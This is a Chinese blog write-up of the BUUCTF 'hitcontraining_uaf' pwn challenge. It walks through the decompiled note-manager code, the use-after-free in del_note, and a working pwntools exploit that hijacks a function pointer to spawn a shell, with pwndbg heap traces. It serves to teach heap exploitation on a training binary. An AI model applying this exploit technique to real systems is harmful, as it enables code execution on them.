BUUCTF-Pwn-hitcontraining_uaf 详情 - 網絡安全 YouDiscovered1t 日志

动态

详情

返回

BUUCTF-Pwn-hitcontraining_uaf - 动态详情

05:53 下午 · 11月 09 ,2025

一、題目來源

BUUCTF-Pwn-hitcontraining_uaf

二、信息蒐集

通過 file 命令查看文件類型：

通過 checksec 命令查看文件使用的保護機制：

三、反彙編文件開始分析

將題目給的二進制文件丟入 IDA Pro 當中開始反彙編。

程序的主要功能菜單函數已經寫的很清楚了：

int menu()
{
  puts("----------------------");
  puts("       HackNote       ");
  puts("----------------------");
  puts(" 1. Add note          ");
  puts(" 2. Delete note       ");
  puts(" 3. Print note        ");
  puts(" 4. Exit              ");
  puts("----------------------");
  return printf("Your choice :");
}

1、add_note()

int add_note()
{
  int result; // eax
  int v1; // esi
  char buf[8]; // [esp+0h] [ebp-18h] BYREF
  size_t size; // [esp+8h] [ebp-10h]
  int i; // [esp+Ch] [ebp-Ch]

  result = count;
  if ( count > 5 )
    return puts("Full");
  for ( i = 0; i <= 4; ++i )
  {
    result = *((_DWORD *)&notelist + i);
    if ( !result )
    {
      *((_DWORD *)&notelist + i) = malloc(8u);
      if ( !*((_DWORD *)&notelist + i) )
      {
        puts("Alloca Error");
        exit(-1);
      }
      **((_DWORD **)&notelist + i) = print_note_content;
      printf("Note size :");
      read(0, buf, 8u);
      size = atoi(buf);
      v1 = *((_DWORD *)&notelist + i);
      *(_DWORD *)(v1 + 4) = malloc(size);
      if ( !*(_DWORD *)(*((_DWORD *)&notelist + i) + 4) )
      {
        puts("Alloca Error");
        exit(-1);
      }
      printf("Content :");
      read(0, *(void **)(*((_DWORD *)&notelist + i) + 4), size);
      puts("Success !");
      return ++count;
    }
  }
  return result;
}

筆記（note）的創建過程：

最多隻能創建 5 個筆記；
創建的筆記會通過一個名為“notelist”的“二維數組”來管理，其中：
- notelist[i][0] 中存儲的是函數 print_note_content 的地址，分配的 chunk 的大小為 8 字節；
- notelist[i][1] 中存儲的筆記的內容的所在地址，分配的大小由用户自己指定（size）。

稍微解釋一下為什麼上面的二維數組被我打上了引號，從偽代碼上看，將 notelist 理解成二維數組似乎並沒有什麼大的問題（根據原理數組 a[n] 的等價寫法為 *(a+n)），但其實它更像是個結構體。因為，真正的二維數組 a[R][C] 要求的是整塊 R×C 連續內存，但這明顯不是（通過 malloc 動態分配的）。這個結構體可以表示成：

// 32-bit 語義
struct Note {
    int (*print_note_content)();  // notelist[i][0]
    void *content;          // notelist[i][1]
};
struct Note *notelist[5];

順帶查看 print_note_content 函數的作用：

int __cdecl print_note_content(int a1)
{
  return puts(*(const char **)(a1 + 4));
}

可以看到，其實這個函數是帶參數的，IDA 並沒幫我們顯示出來，但是看裏面的 puts 函數我們就應該知道，這傳進來的就是本 note 的結構體的初始地址。因此，這個函數的作用就是打印 note 的內容。

2、del_note()

int del_note()
{
  int result; // eax
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
  int v2; // [esp+Ch] [ebp-Ch]

  printf("Index :");
  read(0, buf, 4u);
  v2 = atoi(buf);
  if ( v2 < 0 || v2 >= count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  result = *((_DWORD *)&notelist + v2);
  if ( result )
  {
    free(*(void **)(*((_DWORD *)&notelist + v2) + 4));
    free(*((void **)&notelist + v2));
    return puts("Success");
  }
  return result;
}

不難理解，輸入 index 下標，通過 notelist 來查找對應的 note 然後進行 free() 操作。

但是，這裏 free() 完成之後，並沒有執行指針歸“NULL”的操作，因此存在利用 UAF 的可能。

3、print_note()

int print_note()
{
  int result; // eax
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
  int v2; // [esp+Ch] [ebp-Ch]

  printf("Index :");
  read(0, buf, 4u);
  v2 = atoi(buf);
  if ( v2 < 0 || v2 >= count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  result = *((_DWORD *)&notelist + v2);
  if ( result )
    return (**((int (__cdecl ***)(_DWORD))&notelist + v2))(*((_DWORD *)&notelist + v2));
  return result;
}

同樣，輸入 index 下標，通過 notelist 定位指定 note，然後調用 print_note_content 函數

四、思路

在程序的 .text 段，我們能找到一個叫做 magic 的函數，其代碼：

int magic()
{
  return system("/bin/sh");
}

我們如果能通過一些手段，來執行這個函數的話，那麼就能 getshell 了。

目前，分析出來的僅有的手段就是 UAF，而且存在函數調用的部分都是和 print_note_content 有關的。

如果我們能將 print_note_content 函數替換成 magic 函數，那麼事情就成了。

要想實現替換，就得想辦法在那個存放函數地址的、8 字節大小的 chunk 中寫入數據。直接通過 add_note() 寫是不行的，因為只能寫到 content 中。因此，想到先 free 再 malloc 的操作，因為存放函數地址的地方本質上也是一個 chunk，既然是個 chunk，我們就可以先 free 掉，再 malloc 回來，將其作為 content 部分。

替換完成之後，我們只需要再次調用 print_note 即可實現 magic 函數的執行。

五、Poc 構造

from pwn import *

context(arch="i386",os="linux",log_level="debug")

p = process("./hacknote")
elf = ELF("./hacknote")
# p = remote("node5.buuoj.cn",27273)

def addnote(size = b'16',content = b'A'*16):
	p.sendlineafter(b'Your choice :',b'1')
	p.sendafter(b'Note size :',size)
	p.sendafter(b'Content :',content)

def delnote(index):
	p.sendlineafter(b'Your choice :',b'2')
	p.sendafter(b'Index :',index)

def printnote(index):
	p.sendlineafter(b'Your choice :',b'3')
	p.sendafter(b'Index :',index)

def m_exit():
	p.sendlineafter(b'Your choice :',b'4')

addnote()
addnote()

delnote(b'0')
delnote(b'1')

magic = 0x08048945

addnote(size=b'8',content=p32(magic))

printnote(index=b'0')

# gdb.attach(p)
# pause()

p.interactive()

前面一些定義的函數是為了實現程序中對應的功能。

首先，我們申請了兩個 note：

addnote()
addnote()

此時可以動態調試看看：

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x9634008
Size: 0x190 (with flag bits: 0x191)

Allocated chunk | PREV_INUSE
Addr: 0x9634198
Size: 0x10 (with flag bits: 0x11)

Allocated chunk | PREV_INUSE
Addr: 0x96341a8
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x96341c8
Size: 0x10 (with flag bits: 0x11)

Allocated chunk | PREV_INUSE
Addr: 0x96341d8
Size: 0x20 (with flag bits: 0x21)

Top chunk | PREV_INUSE
Addr: 0x96341f8
Size: 0x21e08 (with flag bits: 0x21e09)

可以看到，四個 chunk 已經申請完畢了，其中兩個是存放函數地址的，兩個是存放 content 的（我設置的 size 大小為 16，這是為了避免和 size 大小為8 的、存放函數的那個 chunk 在 free 之後放入同一個 bin 中）。

我們也可以稍微驗證一下：

pwndbg> telescope 0x9634198
00:0000│     0x9634198 ◂— 0
01:0004│     0x963419c ◂— 0x11
02:0008│     0x96341a0 —▸ 0x80485fb (print_note_content) ◂— push ebp

存放的地址往後移了 8 字節是因為 chunk 的數據結構，在 user data 前面還有pre_size（0）和 size（0x11）兩個成員變量。

pwndbg> telescope 0x96341a8
00:0000│     0x96341a8 ◂— 0
01:0004│     0x96341ac ◂— 0x21 /* '!' */
02:0008│     0x96341b0 ◂— 'AAAAAAAAAAAAAAAA'

我默認的寫入內容就是 16 字節的 A。

接下來，我們將這兩篇 note 進行 delete 操作，即執行 del_note：

delnote(b'0')
delnote(b'1')

那麼，這四個 chunk 都會被放入 tcache bins 中：

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x8a1b008
Size: 0x190 (with flag bits: 0x191)

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x8a1b198
Size: 0x10 (with flag bits: 0x11)
fd: 0x8a1b

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x8a1b1a8
Size: 0x20 (with flag bits: 0x21)
fd: 0x8a1b

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x8a1b1c8
Size: 0x10 (with flag bits: 0x11)
fd: 0x8a13bbb

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x8a1b1d8
Size: 0x20 (with flag bits: 0x21)
fd: 0x8a13bab

Top chunk | PREV_INUSE
Addr: 0x8a1b1f8
Size: 0x21e08 (with flag bits: 0x21e09)

但是，此時的 listnote 中的指針並沒有被置為 NULL。

此時，我們再次創建 note，這次將大小精確設置為 8 字節：

magic = 0x08048945

addnote(size=b'8',content=p32(magic))

且內容寫的是 magic 函數的地址。

現在發生的事情就是：因為沒有指針置 NULL，因此有兩個指針指向這個 8 字節大小的 chunk，其中一個能把這當成 note 的 content 部分，從而寫入信息；而另一個能把這部分當成函數來調用。

由此，我們接下來只需要調用 print_note 功能，即可實現 magic 函數的調用：

printnote(index=b'0')

需要注意的是，index 應該指定為 0，因為 tcanche bin 是一個後進先出的單項鍊表，而我們使用 add_note 這個函數的時候，實質上會申請兩個 chunk 即在 tcache bin 中的兩個 8 字節大小的 chunk 都被我們申請出來了。其中，第一個 chunk 用於存放函數地址，後一個 chunk 用來存放 content，根據我們的分析，我們要利用的是後一個 chunk（這個 chunk 對應的就是當時 del_note 刪除的第二個 note 的、用於存放函數地址的那個 chunk。）。

若對 index 的選擇有疑問的，可以動態調試看看：

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x9ccb008
Size: 0x190 (with flag bits: 0x191)

Allocated chunk | PREV_INUSE
Addr: 0x9ccb198
Size: 0x10 (with flag bits: 0x11)

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x9ccb1a8
Size: 0x20 (with flag bits: 0x21)
fd: 0x9ccb

Allocated chunk | PREV_INUSE
Addr: 0x9ccb1c8
Size: 0x10 (with flag bits: 0x11)

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x9ccb1d8
Size: 0x20 (with flag bits: 0x21)
fd: 0x9cc2d7b

Top chunk | PREV_INUSE
Addr: 0x9ccb1f8
Size: 0x21e08 (with flag bits: 0x21e09)

（pwndbg 插件默認幫我們取消了 ASLR 來方便我們調試分析）不難發現，兩個 8 字節大小的 chunk 都被 malloc 了出來，根據我們的分析，存放函數地址的是 0x9ccb1d0（0x9ccb1c8 + 0x8，別忘了 chunk 的數據結構），驗證：

pwndbg> telescope 0x9ccb1c8
00:0000│     0x9ccb1c8 ◂— 0
01:0004│     0x9ccb1cc ◂— 0x11
02:0008│     0x9ccb1d0 —▸ 0x80485fb (print_note_content) ◂— push ebp

存放內容的地方是 0x0x9ccb1a0（0x9ccb198 + 0x8），驗證：

pwndbg> telescope 0x9ccb198
00:0000│     0x9ccb198 ◂— 0
01:0004│     0x9ccb19c ◂— 0x11
02:0008│     0x9ccb1a0 —▸ 0x8048945 (magic) ◂— push ebp

和我們分析的一致，因此 index 選擇的應該是 0 而不是 1。

本地 Poc 運行：

成功拿下本地 shell。

遠程 Poc 執行：

成功拿下 flag。

網絡安全

YouDiscovered1t 日志

@youdiscovered1t

标签

網絡安全 (45)

动态

BUUCTF-Pwn-hitcontraining_uaf - 动态详情

一、題目來源

二、信息蒐集

三、反彙編文件開始分析

1、add_note()

2、del_note()

3、print_note()

四、思路

五、Poc 構造

Add a new 评论

YouDiscovered1t 日志

@youdiscovered1t

标签

網絡安全 (45)

动态

BUUCTF-Pwn-hitcontraining_uaf - 动态 详情

一、題目來源

二、信息蒐集

三、反彙編文件開始分析

1、add_note()

2、del_note()

3、print_note()

四、思路

五、Poc 構造

Add a new 评论

BUUCTF-Pwn-hitcontraining_uaf - 动态详情